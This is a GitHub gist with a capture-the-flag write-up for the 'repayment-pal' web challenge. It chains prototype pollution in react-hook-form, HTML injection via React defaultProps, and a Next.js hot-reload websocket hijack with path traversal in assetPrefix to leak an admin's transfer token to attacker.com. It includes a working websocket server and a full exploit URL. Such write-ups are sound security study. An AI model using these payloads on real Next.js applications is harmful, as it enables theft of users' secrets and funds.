Skip to content

Instantly share code, notes, and snippets.

@strellic
Created September 23, 2024 17:52
Show Gist options
  • Save strellic/826efa9b02f1ddb73a4f188098a3fc49 to your computer and use it in GitHub Desktop.
Save strellic/826efa9b02f1ddb73a4f188098a3fc49 to your computer and use it in GitHub Desktop.

repayment-pal solution:

  1. vulnerable version of react-hook-form (v7.51.4) used which allows for prototype pollution (/transfer?message.__proto__.x=1)

  2. pollute defaultProps React gadget to put arbitrary attributes on elements (https://cor.team/posts/redpwnctf-2021-web-challenges/#mdbin:~:text=defaultProps)

  3. pollute __proto__.defaultProps.dangerouslySetInnerHTML.__html to HTML payload, pollute __proto__.cache=only-if-cached to make the fetch fail so the page doesn't change afterwards. now, when we submit the transfer (&autosubmit=1), we see our HTML loaded.

  4. now that we have arbitrary HTML injection, there's still not much we can do. if we could leak the admin's transfer token, we could steal all of their balance. but that page only loads via fetch. but since we have HTML injection, we can try the modernblog exploit path and load another nextjs app inside of the nextjs app, in an iframe srcdoc.

  5. this doesn't really work, since the app immediately dies when trying to push to history (since we're in a srcdoc) . reading the next code, there's not much that we can do. it looks like we can set some data in the __NEXT_DATA__ application/json <script> tag. we could specify some JS to load, but the CSP blocks us here. however, one interesting idea is that we can hijack the webpack hot module reloader by setting the assetPrefix field.

  6. setting this field makes webpack connect via websocket to ${assetPrefix}/_next/webpack-hmr. this doesn't look like it lets us do anything, since we still can't load arbitrary JavaScript because of the CSP.

  7. but actually, if you read the hot module code, you'll see that it sends lots of messages from the client to the websocket. some are performance stats, some are query parameters, but the most interesting thing that it does is send stack traces of any errors that happen when hot module reloading (https://github.com/vercel/next.js/blob/0090faa25319d47654af5173ac0a0c2c21dda235/packages/next/src/client/components/react-dev-overlay/pages/hot-reloader-client.ts#L499)

  8. so if we send some hot module actions, it will try to perform them. we can try to get an error to occur to leak some data. one hot module routine that happens is to read the .json manifest to check for updates. (https://github.com/vercel/next.js/blob/0090faa25319d47654af5173ac0a0c2c21dda235/packages/next/src/client/page-loader.ts#L108).

  9. if we can somehow point this to /api/user/token, it makes a fetch request there. then, when it tries to do res.json(), that fails since none of the api responses are json. then, since that failed, it will send the error message to our WebSocket, which would leak the transfer token.

  10. the issue is that the fetch happens to ${this.assetPrefix}/_next/static/${this.buildId}/${TURBOPACK_CLIENT_MIDDLEWARE_MANIFEST}. we control assetPrefix and buildId, but assetPrefix needs to point to our own external website so that we can get the websocket connection. if this is the case, then when it does the fetch it will always try to fetch from our external website.

  11. we can try redirecting /_next/static/development/_devMiddlewareManifest.json on our site to http://localhost:3000/api/user/token, but this doesnt work because of CORS

  12. so we need to find a way to have assetPrefix point to both our webpack hot module controller, as well as the challenge instance itself. luckily, the way they generate the websocket URL from assetPrefix is wacky: https://github.com/vercel/next.js/blob/main/packages/next/src/client/components/react-dev-overlay/pages/websocket.ts#L73

 if (assetPrefix.startsWith('http')) {
  url = `${protocol}://${assetPrefix.split('://', 2)[1]}`
}

this attempts to see if assetPrefix isn't relative. if it isn't, it changes the protocol (http -> ws, https -> wss), and generates a new url. this doesn't actually check if its relative though, just checking if it begins with http. so, if we use an asset prefix like this: httplol/://attacker.com://../../../../../api/user/token?, the WebSocket url becomes wss://attacker.com. but, the fetch in step 9 then points to /httplol/://attacker.com://../../../../../api/user/token?/_next/static/development/_devMiddlewareManifest.json. the path traversal here means that the page actually requested is /api/user/token, which is exactly what we want!

  1. now, we set up the hmr websocket server:
const express = require('express');
const app = express();
const expressWs = require('express-ws')(app);

app.use(function (req, res, next) {
  console.log(req.originalUrl);
  res.setHeader("Access-Control-Allow-Origin", "*");
  return next();
});

app.ws('/_next/webpack-hmr', function(ws, req) {
  ws.on('message', function(msg) {
    console.log('recv', msg);
  });
  console.log('connected');
  setInterval(() => {
    if (ws) {}
        ws.send(`{"action":"sync","hash":"fffffffffffff","errors":[],"warnings":[],"versionInfo":{"staleness":"stale-patch","expected":"14.2.4","installed":"14.2.3"}}`);
  }, 50);
});
app.listen(12345, () => console.log("help"));
  1. when the client connects to us via ws, we send an action which causes the manifest pointing to /api/user/token to be fetched, and since it's not json, it forwards us the error:
{"event":"client-full-reload","stackTrace":"SyntaxError: Unexpected token 'D', \"DtnMPwvF0B0\" is not valid JSON","hadRuntimeError":false}

(note: this only works if the transfer token begins with a letter. if not, you would need to restart the instance to have the admin generate a new token)

  1. with the leaked transfer token, we can now just send another url which automatically transfers the admin's balance to us to get the flag! exploit payload:
console.log(location.origin+`/transfer?message.__proto__.cache=only-if-cached&message.__proto__.defaultProps.dangerouslySetInnerHTML=&message.__proto__.defaultProps.dangerouslySetInnerHTML.__html=${encodeURIComponent(`
<iframe srcdoc='`+`
<!DOCTYPE html><html lang="en"><head><script defer="" nomodule="" src="/_next/static/chunks/polyfills.js"></script><script src="/_next/static/chunks/webpack.js" defer=""></script><script src="/_next/static/chunks/main.js" defer=""></script><script src="/_next/static/chunks/pages/_app.js" defer=""></script><script src="/_next/static/chunks/pages/index.js" defer=""></script><script src="/_next/static/development/_buildManifest.js" defer=""></script><script src="/_next/static/development/_ssgManifest.js" defer=""></script></head><body><div id="__next"></div><script src="/_next/static/chunks/react-refresh.js"></script><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{}},"page":"/","query":{},"buildId":"development","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[],"assetPrefix":"httplol/://attacker.com://../../../../../api/user/token?"}</script></body></html>`.replaceAll(`'`, `&apos;`)+`
'></iframe>
`)}&autosubmit=1`)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment